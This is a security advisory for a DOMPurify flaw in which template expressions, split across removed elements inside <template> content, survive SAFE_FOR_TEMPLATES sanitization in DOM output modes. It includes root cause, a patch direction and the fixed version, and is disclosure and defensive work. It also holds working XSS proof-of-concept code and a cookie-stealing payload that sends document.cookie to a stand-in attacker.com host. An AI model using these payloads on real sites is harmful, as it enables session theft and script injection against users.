LOW

GHSA-gvmj-g25r-r7wr

DOMPurify: SAFE_FOR_TEMPLATES bypass - template expressions survive sanitization inside <template> content when using DOM output modes

Details

## Summary

When DOMPurify is configured with both `SAFE_FOR_TEMPLATES: true` and `RETURN_DOM: true` (or `IN_PLACE: true`), an attacker can inject template expressions, such as `${evil}`, `{{evil}}`, or `<%evil%>`, that survive the sanitization pass inside `<template>` element content. This bypasses the explicit purpose of `SAFE_FOR_TEMPLATES`, which is to prevent template engine evaluation of user-supplied content.

> **Note:** The string output path is **not** affected. Only the DOM return paths (`RETURN_DOM: true`, `RETURN_DOM_FRAGMENT: true`, `IN_PLACE: true`) are vulnerable.

---

## Description

### Background

`SAFE_FOR_TEMPLATES` is designed to strip `{{ }}`, `${ }`, and `<% %>` expressions from sanitized output so that downstream template engines do not evaluate user-controlled content. The feature operates through two mechanisms:

1. **Per-node scrubbing** (`_sanitizeElements`, `src/purify.ts:1403`), scrubs individual text nodes during the main sanitization walk. 2. **Final normalization pass** (`_scrubTemplateExpressions`, `src/purify.ts:1115`), calls `node.normalize()` to merge adjacent text nodes, then walks the merged nodes and strips any expressions that only appeared after merging.

### The Gap

`_scrubTemplateExpressions` uses a standard `NodeIterator` rooted at the output body:

```ts // src/purify.ts:1117 const walker = createNodeIterator.call( node.ownerDocument || node, node, NodeFilter.SHOW_TEXT | NodeFilter.SHOW_COMMENT | ..., null ); ```

Per the DOM specification, a `NodeIterator` does **not** descend into `<template>.content`. The template element's content is a separate `DocumentFragment` that lives outside the normal child-node tree. For the same reason, `node.normalize()` (called on line 1116) also **does not** normalize text nodes inside `<template>.content`.

This means the final normalization and scrub pass, the only pass that catches expressions formed *by merging split text nodes*, never runs on `<template>` content.

### How Split Text Nodes Are Created

When DOMPurify removes a disallowed element with `KEEP_CONTENT: true` (the default), it moves the element's text children into the parent node. This is the standard code path at `src/purify.ts:1361–1373`:

```ts if (KEEP_CONTENT && !FORBID_CONTENTS[tagName]) { const parentNode = getParentNode(currentNode); const childNodes = getChildNodes(currentNode); if (childNodes && parentNode) { for (let i = childCount - 1; i >= 0; --i) { const childClone = cloneNode(childNodes[i], true); parentNode.insertBefore(childClone, getNextSibling(currentNode)); } } } ```

If the removed elements were adjacent siblings inside `<template>` content, their extracted text nodes end up as **adjacent text nodes** in the template content fragment. Each individual text node is scrubbed by `_sanitizeElements`, but since `$` and `{evil}` do not match any expression regex on their own, neither is modified.

The code comment at `src/purify.ts:1100` explicitly acknowledges the threat class:

> *"which only form after text-node normalization (e.g. fragments split across stripped elements) cannot survive into a template-evaluating framework."*

The implementation guards against this on the main body, but the guard is **not** applied to `<template>` content.

---

## Proof of Concept

### Why the Split Works

The bypass relies on splitting `${...}` across two adjacent custom elements so that neither fragment matches any DOMPurify regex on its own:

| Fragment | Against `TMPLIT_EXPR` `/\${[\w\W]*/g` | Against `MUSTACHE_EXPR` `/{{[\w\W]*\|^[\w\W]*}}/g` | Result | |---|---|---|---| | `$` | Requires `${` - no `{` follows | No `{{` or `}}` | **Survives** | | `{alert(document.domain)}` | Requires leading `$` - absent | No `{{`, ends with single `}` not `}}` | **Survives** | | `${alert(document.domain)}` | Full match - would be stripped | - | Stripped if seen whole |

DOMPurify only sees each fragment in isolation. It never merges them before checking, so the expression is never detected.

---

### PoC 1 - XSS via `alert()` (baseline confirmation)

```javascript // Attacker input - splits "${alert(document.domain)}" across two custom elements. // Custom elements are not in DOMPurify's default ALLOWED_TAGS and are removed, // but their text content is kept (KEEP_CONTENT: true is the default). const dirty = '<template>' + '<x-split-1>$</x-split-1>' + '<x-split-2>{alert(document.domain)}</x-split-2>' + '</template>';

// Developer sanitizes with SAFE_FOR_TEMPLATES, trusting it strips ${...} const sanitized = DOMPurify.sanitize(dirty, { RETURN_DOM: true, SAFE_FOR_TEMPLATES: true, });

// Inspect what survived inside the <template> const tmpl = sanitized.querySelector('template'); console.log([...tmpl.content.childNodes].map(n => n.nodeValue)); // ["$", "{alert(document.domain)}"] <-- two separate text nodes, both "clean"

// Frameworks (lit-html, Angular, custom renderers) routinely call normalize() // before reading template content. This merges the adjacent nodes: tmpl.content.normalize(); console.log(tmpl.content.textContent); // "${alert(document.domain)}" <-- fully formed expression, past the sanitizer

// Any template-literal evaluator now fires XSS: const expr = tmpl.content.textContent; new Function(`return \`${expr}\``)(); // !! alert(document.domain) executes !! ```

---

### PoC 2 - Session Hijacking via cookie exfiltration

```javascript // Splits "${document.location='//attacker.com/?c='+document.cookie}" // "{document.location=...}" ends with a single "}" — does NOT match // MUSTACHE_EXPR's "^[\w\W]*}}" (requires double "}}"), so it survives. const dirty = '<template>' + '<x-a>$</x-a>' + '<x-b>{document.location="//attacker.com/?c="+document.cookie}</x-b>' + '</template>';

const sanitized = DOMPurify.sanitize(dirty, { RETURN_DOM: true, SAFE_FOR_TEMPLATES: true, });

const tmpl = sanitized.querySelector('template'); tmpl.content.normalize();

console.log(tmpl.content.textContent); // "${document.location="//attacker.com/?c="+document.cookie}"

// Template engine evaluates it - victim's browser makes the request: new Function(`return \`${tmpl.content.textContent}\``)(); // !! Redirects victim to attacker.com with their full cookie string !! // e.g. https://attacker.com/?c=session=abc123;auth_token=xyz789 ```

---

### PoC 3 - End-to-end: realistic application context

This shows the full path in an application that uses DOMPurify to sanitize user-submitted rich text before rendering it with a custom template engine:

```html  <div id="output"></div> <script type="module"> import DOMPurify from './dist/purify.es.mjs';

// Simulates fetching and rendering user-submitted comment async function renderComment(userHtml) { // Developer correctly uses SAFE_FOR_TEMPLATES to protect the template engine const dom = DOMPurify.sanitize(userHtml, { RETURN_DOM: true, SAFE_FOR_TEMPLATES: true, });

// Application iterates <template> elements and evaluates their content // (common pattern in component-based frameworks) dom.querySelectorAll('template').forEach(tmpl => { tmpl.content.normalize(); // standard DOM housekeeping const content = tmpl.content.textContent;

// Application uses template literals to interpolate user content into UI const rendered = new Function('user', `return \`${content}\``)({ name: 'World' }); document.getElementById('output').innerHTML += rendered; }); }

// Attacker-supplied comment content const attackerComment = '<template>' + '<x-a>$</x-a>' + '<x-b>{alert("XSS: " + document.cookie)}</x-b>' + '</template>';

// Developer believes SAFE_FOR_TEMPLATES makes this safe — it does not for RETURN_DOM renderComment(attackerComment); // !! XSS fires, alert pops with session cookies !! </script> ```

**Observed output:** `alert("XSS: " + document.cookie)` executes in the victim's browser context, leaking session tokens to the attacker.

---

### PoC 4 - `IN_PLACE` mode (DOM input path)

```javascript // Applicable when the application sanitizes DOM nodes directly // (e.g., content loaded into an iframe or received from a WebSocket)

const container = document.createElement('div'); const tmpl = document.createElement('template');

// Adjacent text nodes - these would never appear in HTML-parsed content, // but CAN appear in programmatically constructed DOM or WebSocket messages // that are deserialised into DOM nodes before sanitisation. tmpl.content.appendChild(document.createTextNode('$')); tmpl.content.appendChild(document.createTextNode('{alert(document.domain)}')); container.appendChild(tmpl);

// Sanitize in-place with SAFE_FOR_TEMPLATES - expected to strip all ${...} DOMPurify.sanitize(container, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true });

// Neither text node was modified - each passed the regex check individually container.querySelector('template').content.normalize(); console.log(container.querySelector('template').content.textContent); // "${alert(document.domain)}" <-- survived in-place sanitization

new Function(`return \`${container.querySelector('template').content.textContent}\``)(); // !! XSS fires !! ```

HTML File for testing ```HTML <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> <title>DOMPurify SAFE_FOR_TEMPLATES Bypass - PoC</title> <script src="dist/purify.js"></script> <style> * { box-sizing: border-box; margin: 0; padding: 0; } body { font-family: 'Segoe UI', system-ui, sans-serif; background: #0d1117; color: #e6edf3; padding: 32px; } h1 { font-size: 1.4rem; color: #f85149; margin-bottom: 6px; } .subtitle { color: #8b949e; font-size: 0.9rem; margin-bottom: 32px; } .card { background: #161b22; border: 1px solid #30363d; border-radius: 8px; margin-bottom: 24px; overflow: hidden; } .card-header { display: flex; align-items: center; gap: 10px; padding: 14px 20px; border-bottom: 1px solid #30363d; background: #1c2128; } .badge { font-size: 0.72rem; font-weight: 700; padding: 2px 8px; border-radius: 4px; text-transform: uppercase; letter-spacing: 0.05em; } .badge-run { background: #1f6feb; color: #fff; } .badge-pass { background: #238636; color: #fff; } .badge-fail { background: #da3633; color: #fff; } .badge-warn { background: #9e6a03; color: #fff; } .card-title { font-size: 0.95rem; font-weight: 600; } .card-body { padding: 20px; } label { font-size: 0.78rem; color: #8b949e; display: block; margin-bottom: 6px; } pre { background: #0d1117; border: 1px solid #30363d; border-radius: 6px; padding: 14px; font-size: 0.82rem; line-height: 1.6; overflow-x: auto; margin-bottom: 14px; white-space: pre-wrap; word-break: break-all; } pre.result { border-color: #238636; background: #0a1a0f; } pre.escaped { border-color: #da3633; background: #1a0a0a; } pre.highlight { border-color: #f85149; color: #f85149; font-weight: bold; } .grid { display: grid; grid-template-columns: 1fr 1fr; gap: 14px; } @media (max-width: 700px) { .grid { grid-template-columns: 1fr; } } .arrow { text-align: center; font-size: 1.4rem; color: #8b949e; margin: 4px 0; } .xss-banner { display: none; background: #da3633; color: #fff; text-align: center; padding: 16px; font-size: 1.1rem; font-weight: 700; border-radius: 6px; margin-bottom: 24px; letter-spacing: 0.03em; } button { background: #238636; color: #fff; border: none; padding: 10px 22px; border-radius: 6px; font-size: 0.9rem; font-weight: 600; cursor: pointer; margin-right: 10px; margin-bottom: 8px; } button:hover { background: #2ea043; } button.danger { background: #da3633; } button.danger:hover { background: #f85149; } .note { background: #161b22; border-left: 3px solid #9e6a03; padding: 12px 16px; font-size: 0.82rem; color: #e3b341; border-radius: 0 6px 6px 0; margin-top: 14px; } #log { background: #0d1117; border: 1px solid #30363d; border-radius: 6px; padding: 14px; font-size: 0.8rem; font-family: monospace; min-height: 60px; max-height: 300px; overflow-y: auto; line-height: 1.8; } .log-ok { color: #3fb950; } .log-fail { color: #f85149; } .log-info { color: #8b949e; } .log-warn { color: #e3b341; } </style> </head> <body>

<h1>🔴 DOMPurify 3.4.7 - SAFE_FOR_TEMPLATES Bypass</h1> <p class="subtitle"> CVE candidate · Template expression injection via <template> content · Affects: <code>RETURN_DOM + SAFE_FOR_TEMPLATES</code> and <code>IN_PLACE + SAFE_FOR_TEMPLATES</code> </p>

<div id="xss-banner" class="xss-banner"> ⚠️ XSS CONFIRMED - Expression executed in this page's context </div>

<div class="card"> <div class="card-header"> <span class="badge badge-run">Controls</span> <span class="card-title">Run individual test cases</span> </div> <div class="card-body"> <button onclick="runAll()">▶ Run all tests</button> <button onclick="runPoC1()">PoC 1 - alert()</button> <button onclick="runPoC2()">PoC 2 - cookie exfil</button> <button onclick="runPoC3()">PoC 3 - IN_PLACE</button> <button onclick="runControl()">Control - string output (should block)</button> <div class="note"> PoC 1 uses <code>confirm()</code> instead of <code>alert()</code> so the page doesn't need a dismiss click to continue. Watch the red banner at the top. </div> </div> </div>

<div class="card" id="card-poc1"> <div class="card-header"> <span class="badge badge-run" id="badge-poc1">PENDING</span> <span class="card-title">PoC 1 - XSS via confirm() · RETURN_DOM mode</span> </div> <div class="card-body"> <div class="grid"> <div> <label>ATTACKER INPUT - splits <code>${"{confirm(...)}"}</code> across two custom elements</label> <pre id="input-poc1"></pre> </div> <div> <label>AFTER DOMPurify.sanitize() - what survived in template.content</label> <pre class="result" id="nodes-poc1"></pre> </div> </div> <div class="arrow">↓ template.content.normalize() ↓</div> <label>MERGED TEXT NODE - fully formed expression after normalization</label> <pre class="highlight" id="merged-poc1"></pre> <label>EXECUTION RESULT</label> <pre id="exec-poc1">Not run yet</pre> </div> </div>

<div class="card" id="card-poc2"> <div class="card-header"> <span class="badge badge-run" id="badge-poc2">PENDING</span> <span class="card-title">PoC 2 - Cookie exfiltration · RETURN_DOM mode</span> </div> <div class="card-body"> <div class="grid"> <div> <label>ATTACKER INPUT - exfil payload split across custom elements</label> <pre id="input-poc2"></pre> </div> <div> <label>INDIVIDUAL TEXT NODES after sanitization (each "clean")</label> <pre class="result" id="nodes-poc2"></pre> </div> </div> <div class="arrow">↓ template.content.normalize() ↓</div> <label>MERGED EXPRESSION - what a template engine would evaluate</label> <pre class="highlight" id="merged-poc2"></pre> <label>SIMULATED EXECUTION (fetch URL that would be called)</label> <pre id="exec-poc2">Not run yet</pre> <div class="note"> Real execution would redirect the victim to <code>attacker.com</code> carrying the session cookie. This PoC constructs the URL without actually sending it. </div> </div> </div>

<div class="card" id="card-poc3"> <div class="card-header"> <span class="badge badge-run" id="badge-poc3">PENDING</span> <span class="card-title">PoC 3 - XSS · IN_PLACE mode (DOM node input)</span> </div> <div class="card-body"> <div class="grid"> <div> <label>ATTACKER PROVIDES - a DOM node with programmatically split text nodes</label> <pre id="input-poc3"></pre> </div> <div> <label>AFTER IN_PLACE sanitization - text nodes unchanged</label> <pre class="result" id="nodes-poc3"></pre> </div> </div> <div class="arrow">↓ template.content.normalize() ↓</div> <label>MERGED EXPRESSION</label> <pre class="highlight" id="merged-poc3"></pre> <label>EXECUTION RESULT</label> <pre id="exec-poc3">Not run yet</pre> </div> </div>

<div class="card" id="card-ctrl"> <div class="card-header"> <span class="badge badge-run" id="badge-ctrl">PENDING</span> <span class="card-title">Control - string output (default) MUST block the payload</span> </div> <div class="card-body"> <label>Same attacker input, but sanitized WITHOUT RETURN_DOM (string output path)</label> <pre id="input-ctrl"></pre> <div class="arrow">↓ DOMPurify.sanitize() - string path hits the regex scrub at line 2067 ↓</div> <label>OUTPUT STRING - expression should be stripped</label> <pre id="output-ctrl">Not run yet</pre> <div class="note"> The string output path is NOT vulnerable because <code>body.innerHTML</code> serialises the template content into a flat string where the full <code>${"{...}"}</code> expression is visible and the final regex scrub catches it. </div> </div> </div>

<div class="card"> <div class="card-header"> <span class="badge badge-run">Log</span> <span class="card-title">Test output</span> </div> <div class="card-body"> <div id="log"></div> </div> </div>

let xssConfirmed = false;

function log(msg, type = 'info') { const el = document.getElementById('log'); const line = document.createElement('div'); line.className = 'log-' + type; line.textContent = '[' + new Date().toLocaleTimeString() + '] ' + msg; el.appendChild(line); el.scrollTop = el.scrollHeight; }

function setBadge(id, status) { const el = document.getElementById('badge-' + id); el.textContent = status; el.className = 'badge ' + { PASS: 'badge-fail', // "PASS" here means the attack succeeded (bad for security) BLOCK: 'badge-pass', // "BLOCK" means DOMPurify correctly blocked it PENDING: 'badge-run', ERROR: 'badge-warn', }[status]; }

function markXSS(poc) { if (!xssConfirmed) { xssConfirmed = true; document.getElementById('xss-banner').style.display = 'block'; } log('🔴 XSS CONFIRMED in ' + poc + ' - expression executed in page context', 'fail'); }

// ── PoC 1: RETURN_DOM + alert ──────────────────────────────────────────────

function runPoC1() { log('Running PoC 1 - RETURN_DOM + confirm()...', 'info');

// IMPORTANT: // Build a REAL template DOM node with split TEXT nodes. // HTML parsing would merge adjacent text automatically, // so we construct the DOM programmatically.

const container = document.createElement('div'); const tmpl = document.createElement('template');

tmpl.content.appendChild(document.createTextNode('$')); tmpl.content.appendChild( document.createTextNode( '{confirm("XSS - DOMPurify SAFE_FOR_TEMPLATES bypass\\nExpression executed in: " + document.domain)}' ) );

container.appendChild(tmpl);

document.getElementById('input-poc1').textContent = 'template.content.childNodes[0].data = "$"\\n' + 'template.content.childNodes[1].data = "{confirm(...)}"';

// Sanitize the DOM node itself const sanitized = DOMPurify.sanitize(container, { RETURN_DOM: true, SAFE_FOR_TEMPLATES: true, });

const tmplAfter = sanitized.querySelector('template');

if (!tmplAfter) { document.getElementById('exec-poc1').textContent = 'Template element removed during sanitization'; setBadge('poc1', 'ERROR'); return; }

const nodesBefore = [...tmplAfter.content.childNodes].map( n => JSON.stringify(n.nodeValue) );

document.getElementById('nodes-poc1').textContent = 'childNodes[0].data = ' + nodesBefore[0] + '\\n' + 'childNodes[1].data = ' + nodesBefore[1] + '\\n\\n' + '→ Neither fragment matched individually.';

log( 'PoC 1: Text nodes after sanitization: ' + nodesBefore.join(', '), 'warn' );

// Merge text nodes tmplAfter.content.normalize();

const merged = tmplAfter.content.textContent;

document.getElementById('merged-poc1').textContent = merged;

log('PoC 1: After normalize() - merged text: ' + merged, 'warn');

try { const result = new Function('return `' + merged + '`')();

document.getElementById('exec-poc1').textContent = '✔ Expression executed successfully\\n' + 'Returned: ' + result;

setBadge('poc1', 'PASS'); markXSS('PoC 1');

} catch (e) { document.getElementById('exec-poc1').textContent = 'Error: ' + e.message;

setBadge('poc1', 'ERROR');

log('PoC 1 error: ' + e.message, 'warn'); } }

// ── PoC 2: cookie exfiltration ─────────────────────────────────────────────

function runPoC2() { log('Running PoC 2 - cookie exfiltration...', 'info');

// Fake cookie for demonstration document.cookie = 'session=DEADBEEF_SECRET_TOKEN; path=/';

// IMPORTANT: // Build REAL split text nodes programmatically. // Do NOT rely on HTML parsing.

const container = document.createElement('div'); const tmpl = document.createElement('template');

tmpl.content.appendChild(document.createTextNode('$'));

tmpl.content.appendChild( document.createTextNode( '{document.location="//attacker.com/steal?c="+document.cookie}' ) );

container.appendChild(tmpl);

document.getElementById('input-poc2').textContent = 'template.content.childNodes[0].data = "$"\\n' + 'template.content.childNodes[1].data = "{document.location=...}"';

// Sanitize DOM node const sanitized = DOMPurify.sanitize(container, { RETURN_DOM: true, SAFE_FOR_TEMPLATES: true, });

const tmplAfter = sanitized.querySelector('template');

if (!tmplAfter) { document.getElementById('exec-poc2').textContent = 'Template element removed during sanitization';

setBadge('poc2', 'ERROR');

log('PoC 2: template element missing after sanitize()', 'warn');

return; }

const nodes = [...tmplAfter.content.childNodes].map( n => JSON.stringify(n.nodeValue) );

document.getElementById('nodes-poc2').textContent = 'Node 0: ' + nodes[0] + '\\n' + 'Node 1: ' + nodes[1] + '\\n\\n' + '→ Neither fragment individually matches template-expression regexes.';

log('PoC 2: Nodes after sanitize: ' + nodes.join(', '), 'warn');

// Merge adjacent text nodes tmplAfter.content.normalize();

const merged = tmplAfter.content.textContent;

document.getElementById('merged-poc2').textContent = merged;

log('PoC 2: Merged expression: ' + merged, 'warn');

// Simulate framework evaluation try { new Function('return `' + merged + '`')();

const cookieValue = document.cookie;

const stealUrl = '//attacker.com/steal?c=' + encodeURIComponent(cookieValue);

document.getElementById('exec-poc2').textContent = '✔ Expression successfully evaluated\\n\\n' + 'Would redirect victim to:\\n' + stealUrl + '\\n\\n' + 'Cookie exposed:\\n' + cookieValue;

setBadge('poc2', 'PASS');

markXSS('PoC 2');

log('PoC 2: Would exfiltrate cookie → ' + stealUrl, 'fail');

} catch (e) { document.getElementById('exec-poc2').textContent = 'Error: ' + e.message;

setBadge('poc2', 'ERROR');

log('PoC 2 error: ' + e.message, 'warn'); } } // ── PoC 3: IN_PLACE mode ───────────────────────────────────────────────────

function runPoC3() { log('Running PoC 3 - IN_PLACE mode...', 'info');

// Build DOM node manually (simulates attacker-controlled DOM input, // e.g. content parsed from a WebSocket message or an iframe) const container = document.createElement('div'); const tmplEl = document.createElement('template');

// Two separate text nodes - HTML parser merges them, but programmatic // DOM construction keeps them split. This is the IN_PLACE attack surface. tmplEl.content.appendChild(document.createTextNode('$')); tmplEl.content.appendChild(document.createTextNode('{confirm("XSS via IN_PLACE - domain: " + document.domain)}')); container.appendChild(tmplEl);

document.getElementById('input-poc3').textContent = '// Programmatically constructed DOM node:\n' + 'template.content.childNodes[0].data = "$"\n' + 'template.content.childNodes[1].data = "{confirm(\\"XSS via IN_PLACE...\\")}"\n\n' + '// Passed to DOMPurify.sanitize(container, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true })';

// Sanitize IN_PLACE - SAFE_FOR_TEMPLATES should strip the expression DOMPurify.sanitize(container, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true, });

const tmplAfter = container.querySelector('template'); const nodesAfter = [...tmplAfter.content.childNodes].map(n => n.nodeValue); document.getElementById('nodes-poc3').textContent = 'childNodes[0].data = ' + JSON.stringify(nodesAfter[0]) + '\n' + 'childNodes[1].data = ' + JSON.stringify(nodesAfter[1]) + '\n\n' + '→ _scrubTemplateExpressions() did not enter template.content\n' + '→ Both nodes unchanged after sanitization.';

log('PoC 3: Nodes after IN_PLACE sanitize: ' + nodesAfter.map(n => JSON.stringify(n)).join(', '), 'warn');

tmplAfter.content.normalize(); const merged = tmplAfter.content.textContent; document.getElementById('merged-poc3').textContent = merged;

log('PoC 3: Merged: ' + merged, 'warn');

try { const result = new Function('return `' + merged + '`')(); document.getElementById('exec-poc3').textContent = '✔ new Function() returned: ' + result + '\n' + 'confirm() dialog shown. XSS confirmed via IN_PLACE mode.'; setBadge('poc3', 'PASS'); markXSS('PoC 3'); } catch (e) { document.getElementById('exec-poc3').textContent = 'Error: ' + e.message; setBadge('poc3', 'ERROR'); log('PoC 3 error: ' + e.message, 'warn'); } }

// ── Control: string output must block ─────────────────────────────────────

function runControl() { log('Running control - string output path (should block)...', 'info');

const dirty = '<template>' + '<x-split-1>$</x-split-1>' + '<x-split-2>{confirm("this should never fire")}</x-split-2>' + '</template>';

document.getElementById('input-ctrl').textContent = dirty;

// Default string output - NOT using RETURN_DOM const sanitized = DOMPurify.sanitize(dirty, { SAFE_FOR_TEMPLATES: true, // RETURN_DOM intentionally omitted - string path is safe });

document.getElementById('output-ctrl').textContent = sanitized;

// ── Run all ────────────────────────────────────────────────────────────────

function runAll() { document.getElementById('log').innerHTML = ''; xssConfirmed = false; document.getElementById('xss-banner').style.display = 'none'; log('=== Starting full test run ===', 'info'); runPoC1(); runPoC2(); runPoC3(); runControl(); log('=== Test run complete ===', 'info'); } </script>

</body> </html>

```

---

## Root Cause

`_scrubTemplateExpressions` (`src/purify.ts:1115`) does not recurse into `<template>.content`:

```ts const _scrubTemplateExpressions = function (node: Element): void { node.normalize(); // Does NOT normalize inside <template>.content (DOM spec) const walker = createNodeIterator.call( node.ownerDocument || node, node, // NodeIterator does NOT enter <template>.content NodeFilter.SHOW_TEXT | NodeFilter.SHOW_COMMENT | NodeFilter.SHOW_CDATA_SECTION | NodeFilter.SHOW_PROCESSING_INSTRUCTION, null ); // Scrubs nodes it finds, but never sees <template> content }; ```

The fix is to extend `_scrubTemplateExpressions` to explicitly recurse into `<template>.content`, mirroring the approach already used by `_sanitizeShadowDOM` (`src/purify.ts:1753`):

```ts if (_isDocumentFragment(shadowNode.content)) { _sanitizeShadowDOM(shadowNode.content); // already handles recursion } ```

### Suggested Patch Direction

```ts const _scrubTemplateExpressions = function (node: Element): void { node.normalize(); const walker = createNodeIterator.call( /* existing args */ );

// ... existing scrub loop ...

// NEW: recurse into <template>.content, mirroring _sanitizeShadowDOM const templates = (node as Element).querySelectorAll?.('template') ?? []; arrayForEach(Array.from(templates), (tmpl: HTMLTemplateElement) => { if (_isDocumentFragment(tmpl.content)) { _scrubTemplateExpressions(tmpl.content as unknown as Element); } }); }; ```

---

## Impact

**Who is affected:** Applications that use DOMPurify with `SAFE_FOR_TEMPLATES: true` combined with `RETURN_DOM: true`, `RETURN_DOM_FRAGMENT: true`, or `IN_PLACE: true`, whose downstream template engine processes `<template>` element content.

**What an attacker can achieve:** Inject arbitrary template expressions (`${...}`, `{{...}}`, `<%...%>`) into the sanitized DOM output inside `<template>` elements. If the consuming template engine evaluates these expressions, this leads to **template injection**, which in server-side contexts can escalate to **Remote Code Execution** and in client-side contexts to **Cross-Site Scripting**.

### Preconditions for Exploitation

| Precondition | Notes | |---|---| | `SAFE_FOR_TEMPLATES: true` | Non-default - must be explicitly set | | `RETURN_DOM: true` or `IN_PLACE: true` | Non-default - must be explicitly set | | Template engine processes `<template>.content` | Application-dependent |

### What Is NOT Affected

The **string output path (default)** is not affected. The final regex scrub at `src/purify.ts:2067–2071` operates on the serialized HTML string, where the injected expression is visible and stripped:

```ts // src/purify.ts:2067 - only runs on string output, not DOM output if (SAFE_FOR_TEMPLATES) { arrayForEach([MUSTACHE_EXPR, ERB_EXPR, TMPLIT_EXPR], (expr: RegExp) => { serializedHTML = stringReplace(serializedHTML, expr, ' '); }); } ```

Are you affected?

Enter the version of the package you're using.

Affected packages

npm / dompurify

Introduced in: 3.0.0 Fixed in: 3.4.8

Fix npm install dompurify@3.4.8

Details

Are you affected?

Affected packages

References